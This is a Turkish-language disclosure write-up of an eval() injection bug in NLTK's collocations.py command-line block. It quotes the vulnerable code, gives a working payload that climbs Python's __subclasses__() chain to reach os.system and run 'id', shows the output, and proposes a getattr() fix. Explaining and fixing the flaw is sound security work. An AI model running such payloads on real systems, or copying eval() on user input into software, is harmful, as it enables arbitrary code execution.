Bunu 14 Kasım 2025’te huntr’a raporladım. Henüz CVE atanmadı. Zafiyet gerçek: keyfi kod çalıştırabiliyorsunuz, ama istismar için scripti lokal çalıştırmanız gerekiyor. Çoğu bug bounty için gri alan olsa da, alttaki pattern öğretici olduğu için yazıyorum.

Savunmasız kod

nltk/collocations.py dosyasında modül doğrudan çağrıldığında çalışan __main__ bloğu var. Komut satırından scoring fonksiyonu seçmek için eval() kullanıyor:

if __name__ == "__main__":
    import sys
    from nltk.metrics import BigramAssocMeasures
    
    try:
        scorer = eval("BigramAssocMeasures." + sys.argv[1])
    except IndexError:
        scorer = None
    try:
        compare_scorer = eval("BigramAssocMeasures." + sys.argv[2])
    except IndexError:
        compare_scorer = None

Niyet python -m nltk.collocations likelihood_ratio gibi bir kullanım. Kullanıcı metod adı giriyor, kod başına BigramAssocMeasures. ekliyor, eval() da onu gerçek fonksiyona çözümlüyor.

Sorun: sys.argv[1]‘i komutu çalıştıran herkes tamamen kontrol ediyor.

İstismar

Python’un MRO’su ve __subclasses__() sayesinde herhangi bir string bağlamından nesne hiyerarşisini tırmanıp keyfi modüllere erişebilirsiniz. Payload os.system‘e bu yoldan ulaşıyor:

python3 -m nltk.collocations '__mro__[-1].__subclasses__()[166].__init__.__globals__["sys"].modules["os"].system("id")' 'None'

Çıktı:

<frozen runpy>:128: RuntimeWarning: 'nltk.collocations' found in sys.modules after import of package 'nltk',
but prior to execution of 'nltk.collocations'; this may result in unpredictable behaviour
uid=502(yunus.aydin) gid=20(staff) groups=20(staff),502(awagent_enrolled),501(awagent),12(everyone),
61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),...
Traceback (most recent call last):
  ...
  File ".../nltk/collocations.py", line 402, in <module>
    compare_scorer = eval("BigramAssocMeasures." + sys.argv[2])
  File "<string>", line 1
    BigramAssocMeasures.None
SyntaxError: invalid syntax

id komutu çalıştı ve uid, gid ile grupları döktü. Ardından ikinci eval() çağrısı "None" üzerinde patladı. Traceback aldatıcıdır; asıl iş 398. satırda zaten bitmişti.

Kapsam tartışması

Huntr bunu kapsam dışı olabileceğini işaretledi: lokal CLI’da komut enjeksiyonu, ağ bileşeni yok. Mantıklı bir değerlendirme. Bunu istismar edebilmek için zaten hedef makinede kod çalıştırabilmeniz gerekiyor; o noktada bir Python scriptindeki eval() en ilginç saldırı vektörü olmaz.

Ama riski değerlendirmek başka. NLTK yaygın bir NLP kütüphanesi. collocations.py dışarıdan gelen parametrelerle çağrılıyorsa (kullanıcı girdisini python -m nltk.collocations‘a ileten wrapper script, dinamik hücre çalıştırmalı Jupyter, config interpolasyonu yapan CI pipeline), eval() yolu anında problem haline geliyor. Kod, garanti edilmeyen bir çalışma ortamını varsayıyor.

Basitçe: kullanıcı kontrollü string üzerinde eval(), isme göre metod seçmek için doğru araç değil. Python’da bunun için getattr() var.

Düzeltme

eval() yerine getattr():

if __name__ == "__main__":
    import sys
    from nltk.metrics import BigramAssocMeasures
    
    try:
        scorer = getattr(BigramAssocMeasures, sys.argv[1])
    except (IndexError, AttributeError):
        scorer = None
    try:
        compare_scorer = getattr(BigramAssocMeasures, sys.argv[2])
    except (IndexError, AttributeError):
        compare_scorer = None

getattr(BigramAssocMeasures, "likelihood_ratio"), orijinal eval("BigramAssocMeasures.likelihood_ratio")‘nin yapmak istediğini (attribute’u çözümlemek) keyfi kod çalıştırmadan yapıyor. Geçersiz bir isim AttributeError fırlatıyor, çalıştırmıyor.

eval() neden bu kodlarda hep çıkıyor

Python kütüphanelerindeki __main__ bloğu genellikle hızlıca yazılıyor ve public API kadar titizlikle incelenmiyor. “Bu sadece demo”, “sadece test”; daha az gözlem, daha fazla kısayol anlamına geliyor. Dinamik dispatch için eval() o an akıllıca geliyor. getattr()‘u hatırlamak bir saniye daha alıyor.

Genel çıkarım: eval()‘ı kullanıcı kontrollü herhangi bir girdide (argv, environment variable, config dosyası, HTTP parametresi) kullanmak bağlamdan bağımsız olarak code smell’dir. Yazarken düşündüğünüz ortam, kodun çalışacağı tek ortam değil.

Raporlama zaman çizelgesi

  • 14 Kasım 2025: huntr.dev’e raporlandı
  • 14 Kasım 2025: Huntr tarafından kapsam dışı olabileceği işaretlendi (lokal CLI, ağ bileşeni yok)
  • Yayın tarihi itibarıyla CVE atanmadı

Referanslar

İlgili içerik